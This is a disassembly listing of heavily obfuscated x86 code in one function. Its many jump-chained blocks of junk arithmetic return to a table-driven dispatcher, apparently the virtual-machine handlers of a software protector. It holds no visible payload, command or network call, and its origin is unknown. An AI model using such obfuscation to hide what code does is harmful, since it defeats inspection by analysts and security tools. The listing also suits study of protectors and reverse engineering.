		push	eax
		push	ebp
		mov	ebp, 7CB0FFBh
		xor	ebp, 67C22E9h
		shl	ebp, 4
		push	edx
		mov	edx, 0C760808h
		xor	ebp, edx
		pop	edx
		dec	ebp
		sub	ebp, 0D8D16D77h
		mov	eax, ebp
		jmp	loc_58CAF1
; ---------------------------------------------------------------------------


loc_58B2A4:				; CODE XREF: sub_57DD3A+9204j
		shr	edx, 2
		neg	edx
		add	edx, 3FDBE8Eh
		add	eax, edx
		mov	edx, [esp+82h+var_84+2]
		add	esp, 4
		add	eax, 4
		jmp	loc_582B88
; ---------------------------------------------------------------------------


loc_58B2C1:				; CODE XREF: sub_57DD3A+F1F2j
		sub	cl, 1
		sub	cl, 64h
		push	eax
		push	ebx
		mov	bh, cl
		mov	ah, bh
		pop	ebx
		jmp	loc_587F91
; ---------------------------------------------------------------------------


loc_58B2D3:				; CODE XREF: sub_57DD3A+F20Aj
		mov	ebx, [esp+82h+var_84+2]
		add	esp, 4
		push	esi
		jmp	loc_58B684
; ---------------------------------------------------------------------------


loc_58B2DF:				; CODE XREF: sub_57DD3A+3C4Fj
		sub	esi, 4B57269h
		add	edx, esi
		pop	esi
		add	ebx, edx
		pop	edx
		add	edx, 377562ACh
		add	edx, 7C5249A8h
		jmp	loc_58B966
; ---------------------------------------------------------------------------


loc_58B2FC:				; CODE XREF: sub_57DD3A+9985j
		add	esi, ebp
		pop	ebp
		jmp	loc_58921F
; ---------------------------------------------------------------------------


loc_58B304:				; CODE XREF: sub_57DD3A+5891j
		add	ebx, edx
		pop	edx
		sub	ebx, 69E239FFh
		sub	ebx, 483F118Dh
		sub	esp, 4
		mov	[esp+0C4h+var_C4], ebx
		push	edx
		jmp	loc_5884F3
; ---------------------------------------------------------------------------


loc_58B31F:				; CODE XREF: sub_57DD3A+E85Cj
		pop	esi
		pop	ebp
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B326:				; CODE XREF: sub_57DD3A+CC13j
		pop	edi
		add	esp, 4
		and	[edi+1Ch], ecx
		mov	ecx, [esp+90h+var_90]
		add	esp, 4
		jmp	loc_58669D
; ---------------------------------------------------------------------------


loc_58B338:				; CODE XREF: sub_57DD3A+4CACj
		mov	esp, [esp+68h+var_68]
		test	cx, ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B344:				; CODE XREF: sub_57DD3A+817Bj
		pop	ecx
		push	ebp
		sub	esp, 4
		mov	[esp+58h+var_58], esp
		jmp	loc_583490
; ---------------------------------------------------------------------------


loc_58B351:				; CODE XREF: sub_57DD3A+CF1Ej
		pop	eax
		xchg	edi, [esp+66h+var_68+2]
		pop	esp
		dec	[esp+62h+var_64+2]
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B35F:				; CODE XREF: sub_57DD3A+F033j
		mov	[esp+66h+var_68+2], eax
		mov	eax, 1D4EF67Fh
		jmp	loc_586EF2
; ---------------------------------------------------------------------------


loc_58B36C:				; CODE XREF: sub_57DD3A+E502j
		pop	ebx
		mov	ecx, [esp+62h+var_64+2]
		add	esp, 4
		inc	al
		sub	al, 0EEh
		sub	bl, 2Eh
		add	bl, al
		add	bl, 2Eh
		mov	eax, [esp+5Eh+var_60+2]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B393:				; CODE XREF: sub_57DD3A+6555j
		push	eax
		push	[esp+8Eh+var_8C+2]
		pop	eax
		pop	[esp+8Eh+var_90+2]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B3A7:				; CODE XREF: sub_57DD3A+9DB7j
		sub	edx, ebx
		add	edx, 5DB37C2Bh
		jmp	loc_589427
; ---------------------------------------------------------------------------


loc_58B3B4:				; CODE XREF: sub_57DD3A+DD6Ej
		add	ebx, 4
		jmp	loc_586A3A
; ---------------------------------------------------------------------------


loc_58B3BF:				; CODE XREF: sub_57DD3A+9095j
		add	ecx, 36F55AA3h
		pop	esi
		jmp	loc_5886C1
; ---------------------------------------------------------------------------


loc_58B3CB:				; CODE XREF: sub_57DD3A+4F3Fj
		push	ebp
		push	14383865h
		pop	ebp
		jmp	loc_58706A
; ---------------------------------------------------------------------------


loc_58B3D7:				; CODE XREF: sub_57DD3A+BAFCj
		push	eax
		mov	eax, 4
		jmp	loc_58366E
; ---------------------------------------------------------------------------


loc_58B3E2:				; CODE XREF: sub_57DD3A+BCD9j
		sub	esp, 4
		jmp	loc_5868AB
; ---------------------------------------------------------------------------


loc_58B3EA:				; CODE XREF: sub_57DD3A+E00Bj
		mov	edi, 2B35247Ah
		jmp	loc_582EDB
; ---------------------------------------------------------------------------


loc_58B3F4:				; CODE XREF: sub_57DD3A+5E04j
		mov	word ptr [esp+7Eh+var_80+2], si
		push	bp
		mov	bp, 0D807h
		push	bp
		add	word ptr [esp+82h+var_84+2], 7240h
		pop	si
		push	dx
		push	522Ch
		mov	[esp+86h+var_88+2], edi
		push	small 3D36h
		pop	di
		push	ecx
		mov	cx, 728Fh
		and	cx, 7A2Eh
		xor	cx, 44D7h
		add	cx, 483Dh
		and	di, cx
		pop	ecx
		xor	di, 4F56h
		mov	dx, di
		pop	edi
		jmp	loc_58D70F
; ---------------------------------------------------------------------------


loc_58B43E:				; CODE XREF: sub_57DD3A+4D71j
		shr	edx, 3
		push	eax
		mov	eax, 3BD2707Dh
		and	edx, eax
		pop	eax
		push	edi
		push	ebx
		mov	ebx, 71412ECBh
		mov	edi, 0F505527h
		jmp	loc_5895EA
; ---------------------------------------------------------------------------


loc_58B45B:				; CODE XREF: sub_57DD3A+6AE7j
		sub	edx, ebp
		add	edx, 11093CB4h
		pop	ebp
		pop	ebp
		mov	eax, edx
		mov	edx, [esp+7Ah+var_7C+2]
		add	esp, 4
		push	3E5Dh
		jmp	loc_58AB2D
; ---------------------------------------------------------------------------


loc_58B477:				; CODE XREF: sub_57DD3A+A2A8j
		pop	ebp
		push	esi
		mov	esi, 4
		jmp	loc_58356F
; ---------------------------------------------------------------------------


loc_58B483:				; CODE XREF: sub_57DD3A+A9FAj
		sub	al, bh
		mov	ebx, [esp+6Ah+var_6C+2]
		jmp	loc_58A82C
; ---------------------------------------------------------------------------


loc_58B48D:				; CODE XREF: sub_57DD3A+B0A1j
		push	ecx
		mov	ecx, edi
		jmp	loc_58C083
; ---------------------------------------------------------------------------


loc_58B495:				; CODE XREF: sub_57DD3A+CCBDj
		add	[esp+5Eh+var_60+2], 4
		mov	ecx, [esp+5Eh+var_60+2]
		jmp	loc_589707
; ---------------------------------------------------------------------------


loc_58B4A1:				; CODE XREF: sub_57DD3A+66B5j
		or	dh, 0BDh
		or	dh, 0EEh
		dec	dh
		sub	dh, 89h
		and	dh, 36h
		sub	dh, 45h
		mov	bl, dh
		pop	edx
		shr	bl, 1
		shl	bl, 5
		or	bl, 0FDh
		add	bl, 0
		add	al, bl
		pop	ebx
		add	al, 67h
		sub	al, dl
		sub	al, 67h
		sub	al, 0FDh
		pop	edx
		sub	esp, 2
		jmp	loc_582E9B
; ---------------------------------------------------------------------------


loc_58B4D4:				; CODE XREF: sub_57DD3A+D1F0j
		pop	ecx
		xor	al, dl
		mov	dx, word ptr [esp+7Ah+var_7C+2]
		add	esp, 2
		xor	bl, al
		movzx	eax, al
		jmp	loc_587274
; ---------------------------------------------------------------------------


loc_58B4EB:				; CODE XREF: sub_57DD3A+6CACj
		add	cl, dl
		pop	edx
		xor	cl, 8Bh
		sub	cl, 60h
		or	cl, 5Dh
		jmp	loc_58D6FA
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+88h+var_88]
		push	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		jmp	loc_58CCBB
; ---------------------------------------------------------------------------


loc_58B517:				; CODE XREF: sub_57DD3A+64A4j
		sub	esi, 35161F08h
		mov	edi, esi
		mov	esi, [esp+90h+var_90]
		add	esp, 4
		shl	edi, 3
		sub	edi, 424DEB7Bh
		add	esi, 3E83409Ch
		sub	esi, edi
		sub	esi, 3E83409Ch
		mov	edi, [esp+8Ch+var_8C]
		add	esp, 4
		push	0
		jmp	loc_5824AF
; ---------------------------------------------------------------------------


loc_58B54C:				; CODE XREF: sub_57DD3A+5B8Ej
		push	bx
		jmp	loc_585FDE
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_58B9EC
; ---------------------------------------------------------------------------


loc_58B55B:				; CODE XREF: sub_57DD3A+718Dj
		pop	eax
		movzx	eax, al
		mov	dx, word ptr [esp+6Ah+var_6C+2]
		jmp	loc_5839CA
; ---------------------------------------------------------------------------


loc_58B568:				; CODE XREF: sub_57DD3A+9EF0j
		xor	esi, 78ADB8A9h
		not	esi
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], edx
		jmp	loc_58C637
; ---------------------------------------------------------------------------


loc_58B57B:				; CODE XREF: sub_57DD3A+B0F4j
		push	ebp
		push	[esp+6Eh+var_6C+2]
		mov	ebp, [esp+72h+var_74+2]
		add	esp, 4
		pop	[esp+6Eh+var_70+2]
		jmp	loc_58C848
; ---------------------------------------------------------------------------


loc_58B58E:				; CODE XREF: sub_57DD3A+7FA9j
		add	ebx, 36B2667Bh
		sub	esp, 4
		mov	[esp+68h+var_68], esi
		mov	esi, 41550CC4h
		push	esi
		xchg	edx, [esp+6Ch+var_6C]
		not	edx
		jmp	loc_586A6D
; ---------------------------------------------------------------------------


loc_58B5AD:				; CODE XREF: sub_57DD3A+C311j
		push	esi
		push	[esp+9Ah+var_98+2]
		jmp	loc_58405D
; ---------------------------------------------------------------------------


loc_58B5B7:				; CODE XREF: sub_57DD3A+D50Cj
		push	ebx
		mov	ebx, 4C5677C6h
		jmp	loc_58AB71
; ---------------------------------------------------------------------------


loc_58B5C2:				; CODE XREF: sub_57DD3A+101C8j
		push	edx
		jmp	loc_58479A
; ---------------------------------------------------------------------------


loc_58B5C8:				; CODE XREF: sub_57DD3A+F812j
		add	dh, 0BEh
		sub	bl, 8Eh
		add	bl, dh
		push	eax
		mov	ah, 64h
		add	ah, 0C7h
		push	ebx
		mov	bh, 9
		dec	bh
		inc	bh
		jmp	loc_58B8BB
; ---------------------------------------------------------------------------


loc_58B5E2:				; CODE XREF: sub_57DD3A+8A59j
		pop	edi
		pop	dword ptr [edi+20h]
		jmp	loc_58CD26
; ---------------------------------------------------------------------------


loc_58B5EB:				; CODE XREF: sub_57DD3A+7D6Aj
		mov	ebx, 7EEB11A8h
		push	0
		push	edx
		mov	edx, 0B213DC8h
		jmp	loc_58C79A
; ---------------------------------------------------------------------------


loc_58B600:				; CODE XREF: sub_57DD3A+78DEj
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_581EBA
; ---------------------------------------------------------------------------


loc_58B60D:				; CODE XREF: sub_57DD3A+981Fj
		mov	edi, edx
		jmp	loc_583FE5
; ---------------------------------------------------------------------------


loc_58B614:				; CODE XREF: sub_57DD3A+F552j
		pop	esp
		jmp	loc_58BA7A
; ---------------------------------------------------------------------------


loc_58B61A:				; CODE XREF: sub_57DD3A+D993j
		push	ecx
		mov	ecx, 14E59AEh
		sub	esi, ecx
		mov	ecx, [esp+86h+var_88+2]
		add	esp, 4
		add	edi, esi
		pop	esi
		push	ebx
		mov	ebx, 636F6844h
		sub	edi, ebx
		pop	ebx
		push	edi
		pop	dword ptr [edx+38h]
		pop	edi


loc_58B639:				; CODE XREF: sub_57DD3A+C5EDj
		push	ecx
		push	esp
		jmp	loc_58C918
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+82h+var_84+2]
		jmp	loc_58CB55
; ---------------------------------------------------------------------------


loc_58B649:				; CODE XREF: sub_57DD3A+9C91j
		pop	edi
		pop	[esp+7Ch+var_7C]
		mov	esp, [esp+78h+var_78]
		jmp	loc_5854F7
; ---------------------------------------------------------------------------


loc_58B655:				; CODE XREF: sub_57DD3A+E957j
		mov	ebp, 2ACA7706h
		add	ecx, ebp
		pop	ebp
		not	ecx
		jmp	loc_5857BD
; ---------------------------------------------------------------------------


loc_58B664:				; CODE XREF: sub_57DD3A+AE9Cj
		add	esi, 4
		push	0DAh
		mov	[esp+0B6h+var_B8+2], eax
		mov	eax, 2
		sub	esi, 3232784Bh
		add	esi, eax
		jmp	loc_5848D9
; ---------------------------------------------------------------------------


loc_58B684:				; CODE XREF: sub_57DD3A+D5A0j
		push	[esp+82h+var_80+2]
		jmp	loc_587B8A
; ---------------------------------------------------------------------------


loc_58B68D:				; CODE XREF: sub_57DD3A+541Fj
		sub	esi, ecx
		sub	esi, 68686B4Dh
		mov	ecx, [esp+9Ah+var_9C+2]
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_5866A2
; ---------------------------------------------------------------------------


loc_58B6A1:				; CODE XREF: sub_57DD3A+B628j
		add	esp, 4
		jmp	loc_589A2C
; ---------------------------------------------------------------------------


loc_58B6AC:				; CODE XREF: sub_57DD3A+7237j
		add	esp, 4
		push	edx
		push	bx
		mov	bl, 35h
		jmp	loc_58437E
; ---------------------------------------------------------------------------


loc_58B6BC:				; CODE XREF: sub_57DD3A+E06Aj
		add	al, 25h
		sub	al, 0A8h
		jmp	loc_58634A
; ---------------------------------------------------------------------------


loc_58B6C5:				; CODE XREF: sub_57DD3A+F1DBj
		not	edi
		push	esi
		mov	esi, 52F7631Ch
		jmp	loc_58B61A
; ---------------------------------------------------------------------------


loc_58B6D2:				; CODE XREF: sub_57DD3A+95A4j
		sub	al, cl
		add	al, 66h
		mov	ecx, [esp+78h+var_78]
		jmp	loc_587645
; ---------------------------------------------------------------------------


loc_58B6DE:				; CODE XREF: sub_57DD3A+70C1j
		push	ecx
		pop	esi
		pop	ecx
		jmp	loc_5869F6
; ---------------------------------------------------------------------------


loc_58B6E6:				; CODE XREF: sub_57DD3A+BF1Bj
		pop	[esp+6Ah+var_6C+2]
		add	[esp+66h+var_68+2], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+62h+var_64+2]
		mov	esp, [esp+62h+var_64+2]
		sub	esp, 4
		jmp	loc_584E64
; ---------------------------------------------------------------------------


loc_58B70B:				; CODE XREF: sub_57DD3A+402Dj
		sub	esp, 4
		mov	[esp+0A8h+var_A8], ebx
		mov	ebx, 4
		mov	eax, ebx
		pop	ebx
		jmp	loc_58A8EA
; ---------------------------------------------------------------------------


loc_58B71E:				; CODE XREF: sub_57DD3A+9406j
		sub	esi, 4
		push	esi
		push	[esp+0C4h+var_C0]
		pop	esi
		jmp	loc_588EB3
; ---------------------------------------------------------------------------


loc_58B72C:				; CODE XREF: sub_57DD3A+7F5Ej
		mov	ecx, 0FEB605Eh
		add	ecx, 5F52149Eh
		neg	ecx
		jmp	loc_587ABD
; ---------------------------------------------------------------------------


loc_58B73E:				; CODE XREF: sub_57DD3A+5E4Bj
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+0BAh+var_BC+2]
		mov	esp, [esp+0BAh+var_BC+2]
		add	esp, 4
		jmp	loc_581AA8
; ---------------------------------------------------------------------------
		push	[esp+0B6h+var_B8+2]
		mov	eax, [esp+0BAh+var_BC+2]
		add	esp, 4
		jmp	loc_58287E
; ---------------------------------------------------------------------------


loc_58B765:				; CODE XREF: sub_57DD3A+A0B4j
		mov	dx, word ptr [esp+62h+var_64+2]
		add	esp, 2
		jmp	loc_586DDE
; ---------------------------------------------------------------------------


loc_58B771:				; CODE XREF: sub_57DD3A+624Cj
		xor	edi, 595E45E1h
		push	[esp+0B8h+var_B8]
		pop	edx
		jmp	loc_58A894
; ---------------------------------------------------------------------------


loc_58B780:				; CODE XREF: sub_57DD3A+CA89j
		xor	ch, 45h
		push	dx
		mov	dh, 0CFh
		jmp	loc_58CE5C
; ---------------------------------------------------------------------------


loc_58B78C:				; CODE XREF: sub_57DD3A+B43Ej
		pop	esi
		and	eax, ebx
		pop	ebx
		jmp	loc_58795C
; ---------------------------------------------------------------------------


loc_58B795:				; CODE XREF: sub_57DD3A+973Fj
		push	edx
		sub	esp, 2
		jmp	loc_58355A
; ---------------------------------------------------------------------------


loc_58B7A1:				; CODE XREF: sub_57DD3A+7B31j
		shl	esi, 2
		jmp	loc_58C1B1
; ---------------------------------------------------------------------------


loc_58B7A9:				; CODE XREF: sub_57DD3A+AD6Dj
		add	edi, 4
		jmp	loc_58DD39
; ---------------------------------------------------------------------------


loc_58B7B1:				; CODE XREF: sub_57DD3A+AAB6j
		push	bx
		mov	bl, 58h
		add	al, bl
		pop	bx
		push	ecx
		mov	cl, 2Bh
		shr	cl, 3
		shr	cl, 3
		push	cx
		xchg	bh, byte ptr [esp+94h+var_94]
		not	bh
		jmp	loc_58B93F
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+94h+var_94]
		push	59B1h
		jmp	loc_58A28C
; ---------------------------------------------------------------------------
		neg	byte ptr [esp+98h+var_98]
		pushf
		jmp	loc_58D84C
; ---------------------------------------------------------------------------


loc_58B7E5:				; CODE XREF: sub_57DD3A+6887j
		sub	[esp+84h+var_7C], 4A922F27h
		jmp	loc_5819A8
; ---------------------------------------------------------------------------


loc_58B7F2:				; CODE XREF: sub_57DD3A+A818j
		add	ebp, ecx
		pop	ecx
		push	eax
		jmp	loc_58CD72
; ---------------------------------------------------------------------------


loc_58B7FB:				; CODE XREF: sub_57DD3A+4BC8j
		mov	bx, word ptr [esp+0A6h+var_A8+2]
		jmp	loc_58D6EA
; ---------------------------------------------------------------------------


loc_58B804:				; CODE XREF: sub_57DD3A+6FCDj
		xor	edx, edx
		push	4EE9h
		mov	[esp+70h+var_70], ebx
		push	[esp+70h+var_70]
		mov	eax, [esp+74h+var_74]
		add	esp, 4
		push	esi
		push	esp
		jmp	loc_589DC0
; ---------------------------------------------------------------------------


loc_58B81E:				; CODE XREF: sub_57DD3A+46D8j
		push	ebx
		jmp	loc_5882DB
; ---------------------------------------------------------------------------


loc_58B824:				; CODE XREF: sub_57DD3A+3C3Ej
		pop	edi
		add	ebp, 1D4605E1h
		add	ebp, eax
		sub	ebp, 1D4605E1h
		mov	eax, [esp+5Ah+var_5C+2]
		add	esp, 4
		jmp	loc_5889E1
; ---------------------------------------------------------------------------


loc_58B841:				; CODE XREF: sub_57DD3A+E42Dj
		mov	[esp+56h+var_58+2], ebp
		mov	ebp, 785C7A93h
		shl	ebp, 4
		neg	ebp
		sub	ebp, 0D6C69E57h
		sub	eax, ebp
		pop	ebp
		add	ebp, eax
		pop	eax
		push	edi
		mov	edi, 2
		jmp	loc_581EA1
; ---------------------------------------------------------------------------


loc_58B865:				; CODE XREF: sub_57DD3A+8854j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B86A:				; CODE XREF: sub_57DD3A+8CEEj
		mov	ecx, eax
		pop	eax
		xor	ecx, 0AF22856Bh
		add	edx, ecx
		push	[esp+90h+var_90]
		pop	ecx
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp+8Ch+var_8C]
		pop	esp
		mov	cx, word ptr [esp+88h+var_88]
		jmp	loc_58C438
; ---------------------------------------------------------------------------


loc_58B892:				; CODE XREF: sub_57DD3A+E191j
		pop	eax
		add	eax, 40A95D03h
		add	eax, edx
		jmp	loc_584E1E
; ---------------------------------------------------------------------------


loc_58B89F:				; CODE XREF: sub_57DD3A+9CA8j
		push	esi
		push	esp
		jmp	loc_587F69
; ---------------------------------------------------------------------------


loc_58B8A6:				; CODE XREF: sub_57DD3A+A22Aj
		or	[edi+1Ch], ebp
		push	[esp+0CCh+var_CC]
		pop	ebp
		add	esp, 4
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B8B5:				; CODE XREF: sub_57DD3A+D486j
		pop	ebx
		jmp	loc_58CDA4
; ---------------------------------------------------------------------------


loc_58B8BB:				; CODE XREF: sub_57DD3A+D8A3j
		not	bh
		jmp	loc_5897EC
; ---------------------------------------------------------------------------


loc_58B8C2:				; CODE XREF: sub_57DD3A+413Dj
		sub	esi, 53DE4236h
		add	esi, 0FFFFFFFFh
		not	esi
		add	esi, 6B964C9h
		mov	edx, esi
		pop	esi
		and	eax, edx
		jmp	loc_58502D
; ---------------------------------------------------------------------------


loc_58B8E0:				; CODE XREF: sub_57DD3A+4419j
		push	ebp
		push	esp
		mov	ebp, [esp+6Ch+var_6C]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+6Ch+var_6C]
		pop	esp
		mov	[esp+68h+var_68], eax
		mov	eax, 5B07015Eh
		xor	eax, 1D1E5BEDh
		add	eax, 5D585DC9h
		inc	eax
		jmp	loc_58C162
; ---------------------------------------------------------------------------


loc_58B913:				; CODE XREF: sub_57DD3A+91CFj
		add	esp, 4
		sub	[esp+66h+var_64+2], ebx
		add	[esp+66h+var_64+2], 15F822C6h
		pop	ebx
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B928:				; CODE XREF: sub_57DD3A+F9A3j
		pop	ecx
		add	ebx, 53AA66AFh
		add	ebx, edi
		push	edi
		jmp	loc_586198
; ---------------------------------------------------------------------------


loc_58B937:				; CODE XREF: sub_57DD3A+9471j
		xor	ebx, [esp+0A2h+var_A4+2]
		jmp	loc_5829E0
; ---------------------------------------------------------------------------


loc_58B93F:				; CODE XREF: sub_57DD3A+DA8Fj
		xchg	bh, byte ptr [esp+94h+var_94]
		pop	cx
		jmp	loc_583839
; ---------------------------------------------------------------------------


loc_58B949:				; CODE XREF: sub_57DD3A+5FEDj
		add	esp, 4
		sub	ch, dl
		pop	edx
		jmp	loc_589310
; ---------------------------------------------------------------------------


loc_58B954:				; CODE XREF: sub_57DD3A+C1F1j
		mov	ch, ah
		pop	eax
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		mov	[ebx], ch
		jmp	loc_583903
; ---------------------------------------------------------------------------


loc_58B966:				; CODE XREF: sub_57DD3A+D5BDj
		add	edx, 111176BFh
		add	edx, eax
		push	1017h
		mov	[esp+5Ah+var_5C+2], ecx
		push	359Dh
		mov	[esp+5Eh+var_60+2], ebx
		jmp	loc_588278
; ---------------------------------------------------------------------------


loc_58B983:				; CODE XREF: sub_57DD3A+E975j
		xchg	esi, [esp+5Eh+var_60+2]
		pop	esp
		jmp	loc_583C56
; ---------------------------------------------------------------------------


loc_58B98C:				; CODE XREF: sub_57DD3A+F7E4j
		and	ebp, eax
		pop	eax
		and	ebp, 0F2A0ABBh
		jmp	loc_583983
; ---------------------------------------------------------------------------


loc_58B99A:				; CODE XREF: sub_57DD3A+5F89j
		pop	ebp
		pop	[esp+90h+var_90]
		jmp	loc_589F77
; ---------------------------------------------------------------------------


loc_58B9A3:				; CODE XREF: sub_57DD3A+ED30j
		add	ecx, 4
		xchg	ecx, [esp+8Ch+var_8C]
		pop	esp
		jmp	loc_5827D9
; ---------------------------------------------------------------------------


loc_58B9B2:				; CODE XREF: sub_57DD3A+E73Fj
		mov	eax, ebx
		pop	ebx
		push	esi
		mov	esi, 21DA2B66h
		sub	eax, esi
		jmp	loc_589AE2
; ---------------------------------------------------------------------------


loc_58B9C2:				; CODE XREF: sub_57DD3A+1025Fj
		xor	edi, 3A5B12B1h
		neg	edi
		xor	edi, 111250E1h
		add	edi, 5E7D181Dh
		add	eax, edi
		pop	edi
		jmp	loc_58A3B8
; ---------------------------------------------------------------------------


loc_58B9DE:				; CODE XREF: sub_57DD3A+7A3Dj
		sub	esp, 4
		mov	[esp+72h+var_74+2], ebp
		jmp	loc_58ACDE
; ---------------------------------------------------------------------------


loc_58B9EC:				; CODE XREF: sub_57DD3A+D81Cj
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B9F1:				; CODE XREF: sub_57DD3A+7D0Aj
		mov	ebp, 1
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 0D3E7EFBh
		push	ebx
		add	[esp+0AAh+var_AC+2], 291556DEh
		pop	edx
		sub	edx, 291556DEh
		pop	ebx
		add	edi, edx
		pop	edx
		push	edi
		jmp	loc_58606D
; ---------------------------------------------------------------------------


loc_58BA18:				; CODE XREF: sub_57DD3A+E5BDj
		pop	eax
		jmp	loc_58558E
; ---------------------------------------------------------------------------


loc_58BA1E:				; CODE XREF: sub_57DD3A+102CFj
		mov	edi, [esp+9Eh+var_A0+2]
		add	esp, 4
		push	eax
		push	9FB0352h
		pop	eax
		jmp	loc_5822C1
; ---------------------------------------------------------------------------


loc_58BA33:				; CODE XREF: sub_57DD3A+FAADj
		push	ecx
		mov	cl, dl
		mov	bl, cl
		pop	ecx
		jmp	loc_584FDB
; ---------------------------------------------------------------------------


loc_58BA3E:				; CODE XREF: sub_57DD3A+640Fj
		mov	edi, esp
		jmp	loc_5830BC
; ---------------------------------------------------------------------------


loc_58BA45:				; CODE XREF: sub_57DD3A+968Fj
		sub	ebp, 4E585587h
		mov	ecx, [esp+9Ch+var_9C]
		add	esp, 4
		xor	ebp, [esp+98h+var_98]
		jmp	loc_58A97F
; ---------------------------------------------------------------------------


loc_58BA59:				; CODE XREF: sub_57DD3A+98E2j
		xor	dh, 0F1h
		jmp	loc_5895D0
; ---------------------------------------------------------------------------


loc_58BA61:				; CODE XREF: sub_57DD3A+8941j
		sub	esp, 4
		push	esp
		jmp	loc_582985
; ---------------------------------------------------------------------------


loc_58BA6D:				; CODE XREF: sub_57DD3A+90B1j
		push	5BD3h
		mov	[esp+9Eh+var_A0+2], ebx
		jmp	loc_585D32
; ---------------------------------------------------------------------------


loc_58BA7A:				; CODE XREF: sub_57DD3A+D8DBj
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp+8Ah+var_8C+2], edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp+86h+var_88+2]
		mov	esp, [esp+86h+var_88+2]
		jmp	loc_58AE17
; ---------------------------------------------------------------------------


loc_58BA9F:				; CODE XREF: sub_57DD3A+87D7j
		sub	esp, 4
		jmp	loc_585B7E
; ---------------------------------------------------------------------------


loc_58BAA7:				; CODE XREF: sub_57DD3A+CE0Cj
		pop	ebx
		jmp	loc_58B3B4
; ---------------------------------------------------------------------------


loc_58BAAD:				; CODE XREF: sub_57DD3A+B868j
		push	dword ptr [edi+eax*4]
		add	[esp+58h+var_58], 169F318Fh
		mov	eax, [esp+58h+var_58]
		push	edx
		mov	edx, esp
		jmp	loc_581F47
; ---------------------------------------------------------------------------


loc_58BAC2:				; CODE XREF: sub_57DD3A+5BE1j
		pop	ebx
		jmp	loc_5833E8
; ---------------------------------------------------------------------------


loc_58BAC8:				; CODE XREF: sub_57DD3A+B445j
		pop	ax
		add	al, 0B5h
		sub	al, ch
		sub	al, 0B5h
		pop	ecx
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+60h+var_60]
		jmp	loc_584EDB
; ---------------------------------------------------------------------------


loc_58BAE4:				; CODE XREF: sub_57DD3A+5BC4j
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		push	ecx
		mov	ecx, 0FF9C8335h
		sub	ebp, ecx
		mov	ecx, [esp+8Eh+var_90+2]
		jmp	loc_587596
; ---------------------------------------------------------------------------


loc_58BAFA:				; CODE XREF: sub_57DD3A+61DAj
		sub	[esp+0B4h+var_B0], 1CC2663Dh
		sub	[esp+0B4h+var_B0], edx
		jmp	loc_58DEDB
; ---------------------------------------------------------------------------


loc_58BB0B:				; CODE XREF: sub_57DD3A+4CCCj
		pop	ebx
		push	6C60h
		mov	[esp+64h+var_64], ebp
		mov	ebp, 4
		add	ebx, 671A6D7Ch
		jmp	loc_5876FA
; ---------------------------------------------------------------------------


loc_58BB24:				; CODE XREF: sub_57DD3A+5D82j
		mov	ebx, esp
		push	edi
		jmp	loc_581C79
; ---------------------------------------------------------------------------


loc_58BB2C:				; CODE XREF: sub_57DD3A+81BAj
		push	edx
		mov	edx, 177E0F75h
		add	ebx, edx
		jmp	loc_585A0C
; ---------------------------------------------------------------------------


loc_58BB39:				; CODE XREF: sub_57DD3A+5FFAj
		pop	eax
		jmp	loc_584349
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 721Ah
		mov	word ptr [esp+9Eh+var_A0+2], ax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58BB50:				; CODE XREF: sub_57DD3A+8818j
		and	ecx, 34651500h
		shl	ecx, 2
		sub	ecx, 2C429E7Dh
		sub	edx, 69BA095Bh
		sub	edx, ecx
		add	edx, 69BA095Bh
		pop	ecx
		add	edx, eax
		push	esi
		jmp	loc_5819D0
; ---------------------------------------------------------------------------


loc_58BB76:				; CODE XREF: sub_57DD3A+8A3Aj
		add	ecx, 4
		xor	ecx, [esp+82h+var_84+2]
		xor	[esp+82h+var_84+2], ecx
		jmp	loc_58500A
; ---------------------------------------------------------------------------


loc_58BB84:				; CODE XREF: sub_57DD3A+71ACj
		pop	ebp
		jmp	loc_583E46
; ---------------------------------------------------------------------------


loc_58BB8A:				; CODE XREF: sub_57DD3A+E3A8j
		mov	edx, 344A506Dh
		sub	ebp, edx
		pop	edx
		add	ebp, edi
		jmp	loc_588861
; ---------------------------------------------------------------------------


loc_58BB99:				; CODE XREF: sub_57DD3A+8E58j
		push	ebp
		jmp	loc_58D5C5
; ---------------------------------------------------------------------------


loc_58BB9F:				; CODE XREF: sub_57DD3A+CD13j
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+80h+var_7C]
		pop	edx
		pop	[esp+80h+var_80]
		jmp	loc_5844D3
; ---------------------------------------------------------------------------


